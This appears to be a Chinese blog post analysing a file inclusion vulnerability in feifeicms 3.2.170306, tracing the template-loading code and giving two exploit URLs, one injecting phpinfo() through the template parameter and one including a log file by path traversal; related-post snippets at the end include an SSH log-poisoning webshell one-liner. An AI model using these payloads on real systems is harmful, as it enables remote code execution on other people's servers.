feifeicms 3.2_.170306文件包含

文件包含

Lib\Lib\Action\Home/MyAction.class.php
<?php
class MyAction extends HomeAction{
  public function show(){
        $id = !empty($_GET[‘tpl‘])?$_GET[‘tpl‘]:‘new‘;
        $skin = ‘my_‘.trim($id);
        if($_GET[‘ajax‘]){
            $skin .= ‘_ajax‘;
        }
        $this->display($skin);
    }
}
?>

跟踪display函数

  protected function display($templateFile=‘‘,$charset=‘‘,$contentType=‘text/html‘)
    {
        if(empty($charset))  $charset = C(‘DEFAULT_CHARSET‘);
        // 网页字符编码
        header("Content-Type:".$contentType."; charset=".$charset);
        header("Cache-control: private");  //支持页面回跳
        //页面缓存
        ob_start();
        ob_implicit_flush(0);
        // 自动定位模板文件
        $templateFile   = $this->parseTemplateFile($templateFile);
        if(‘php‘==strtolower(C(‘TMPL_ENGINE_TYPE‘))) {
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            include $templateFile;
        }else{
            // 模板文件需要重新编译 支持第三方模板引擎
            // 调用模板引擎解析和输出
            $tpl   =  new ThinkTemplateLite;
            
  public function loadTemplate ($tmplTemplateFile=‘‘)
    {    //die("test1");
        if(empty($tmplTemplateFile))    $tmplTemplateFile = $this->config[‘default_tmpl‘];
        if(!is_file($tmplTemplateFile)){
            $tmplTemplateFile =  dirname($this->config[‘default_tmpl‘]).‘/‘.$tmplTemplateFile.$this->config[‘template_suffix‘];
            if(!is_file($tmplTemplateFile))
                throw_exception(L(‘_TEMPLATE_NOT_EXIST_‘).‘:‘.$tmplTemplateFile);
        }
        $this->templateFile    =  $tmplTemplateFile;

        //根据模版文件名定位缓存文件
        $tmplCacheFile = $this->config[‘cache_path‘].md5($tmplTemplateFile).$this->config[‘cache_suffix‘];
        $tmplContent = ‘‘;
        // 检查Cache文件是否需要更新
        if (!$this->checkCache($tmplTemplateFile)) {
            // 需要更新模版 读出原模板内容
            $tmplContent = file_get_contents($tmplTemplateFile);
            //编译模板内容
            $tmplContent = $this->compiler($tmplContent);
            // 检测分组目录
            if(!is_dir($this->config[‘cache_path‘]))
                mk_dir($this->config[‘cache_path‘]);
            //重写Cache文件
            if( false === file_put_contents($tmplCacheFile,trim($tmplContent)))
                throw_exception(L(‘_CACHE_WRITE_ERROR_‘).‘:‘.$tmplCacheFile);
        }
        return $tmplCacheFile;
    }

这个函数读到要包含的文件内容

紧着往上跟踪函数

    public function fetch($templateFile,$templateVar=‘‘)
    {
        if(!empty($templateVar))   $this->assign($templateVar);
        //根据模版文件名定位缓存文件
        $tmplCacheFile = $this->config[‘cache_path‘].md5($templateFile).$this->config[‘cache_suffix‘];
        if (!$this->checkCache($templateFile,$tmplCacheFile)) // 判断缓存是否有效
            $this->loadTemplate($templateFile,$tmplCacheFile);
        // 模板阵列变量分解成为独立变量
        extract($this->var, EXTR_OVERWRITE);
        //载入模版缓存文件
        include $tmplCacheFile;
    }
index.php?s=My-show-tpl-{~phpinfo()}.html
index.php?s=My-show-tpl-\..\Runtime\logs\17_09_24.log.html

时间: 2024-11-09 12:18:11

feifeicms 3.2_.170306文件包含的相关文章

本地文件包含被污染的SSH日志GetShell

0x01 前言 我们在渗透测试过程中常常会通过文件包含来getshell,一般会包含恶意代码的图片.污染UA或referer等HTTP头从而包含访问日志等等.这里介绍另外一种包含的方法,通过污染SSH日志的方式. 0x02 SSH日志污染 使用测试环境为ubuntu(10.168.33.174),ssh日志默认是在/var/log/auth.log下,默认其它用户是有read的权限的.然后我们直接执行ssh '<?php system($_GET[c]);?>'@10.168.33.174可以

c++ 头文件包含问题-include&amp;class

http://blog.csdn.net/jiajia4336/article/details/8996254 前向声明概念(forward declaration) 在程序中引入了类类型的B.在声明之后,定义之前,类B是一个不完全类型(incompete type),即已知B是一个类型,但不知道包含哪些成员.不完全类型只能以有限方式使用,不能定义该类型的对象,不完全类型只能用于定义指向该类型的指针及引用,或者用于声明(而不是定义)使用该类型作为形参类型或返回类型的函数. 前向声明应用场景 当你

文件包含学习笔记

文件包含分为远程包含,本地包含两种,主要是include,require等函数带来的包含漏洞例如我在本机PHPstudy上创建两个文件,include.php和text.txt,内容如下 //include.php <?php $i=$_GET['t']; include($i); ?> //text.txt <?php phpinfo(); ?> 然后访问网址http://127.0.0.1/include/include.php?t=text.txt 可以看到text.txt中

文件包含漏洞

本实验是基于DVWA和sqli-labs的实验环境 实验平台搭建:下载Wamp集成环境,并下载DVWA和sqli-labs和压缩包解压至wamp\www的目录下.安装只要注意Wamp环境的数据库名和密码对应即可. 0x01:文件包含漏洞 服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. 这也算官方的解释吧,用个人的话说,通过浏览器.url地址或者是一个参数的变量的内容,可以通过修改这些url

《黑马程序员》预处理指令(宏定义、条件编译、文件包含)(C语言)

宏定义的基本概念 ●  预处理指令都是以#开头 ●  预处理指令分为三种 1.宏定义 定义格式:#define  宏名   参数 2.条件编译 #if 条件语句     statement1; #elif 条件语句     statement2; #else     statement3; #endif       //条件编译结束必须加上此条语句,否则statement3以下的所有语句都将默认为不编译 3.文件包含 ●  预处理指令在代码翻译成0和1之前进行 ●  预处理指令的位置是可以写的

PHP文件包含语句 include、include_once、require、require_once

1.include() include(/path/to/filename) include()语句将在其被调用的位置处包含一个文件.包含一个文件与在该语句所在位置复制制定文件的数据具有相同内容的效果. 使用include()时可以忽略括号. 可以根据条件来执行include()语句.在条件语句中使用include()有个怪现象,它必须包围在语句块大括号中,或者用其他语句包围符括起来. 2.include_once() include_once(filename) include_once()函

phpmyadmin任意文件包含漏洞分析(含演示)

0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: phpMyAdmin 4.0.1 – 4.0.10.6 4.1.1 – 4.1.14.7 4.2.1 – 4.2.12 0x02 补丁分析 看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料. 前几天phpmyadmin出了个

PHP文件包含漏洞总结

0x00 前言 PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入.最常见的就属于本地文件包含(Local File Inclusion)漏洞了. 我们来看下面一段index.php代码: if ($_GET['func']) { include $_GET['func']; } else { include 'default.php'; } 程序的本意可能是当提交url为http:

shell--11、Shell 文件包含

和其他语言一样,Shell 也可以包含外部脚本.这样可以很方便的封装一些公用的代码作为一个独立的文件. Shell 文件包含的语法格式如下: . filename   # 注意点号(.)和文件名中间有一空格 或 source filename 实例 创建两个 shell 脚本文件. test1.sh 代码如下: #!/bin/bash url="http://www.baidu.com" test2.sh 代码如下: #!/bin/bash #使用 . 号来引用test1.sh 文件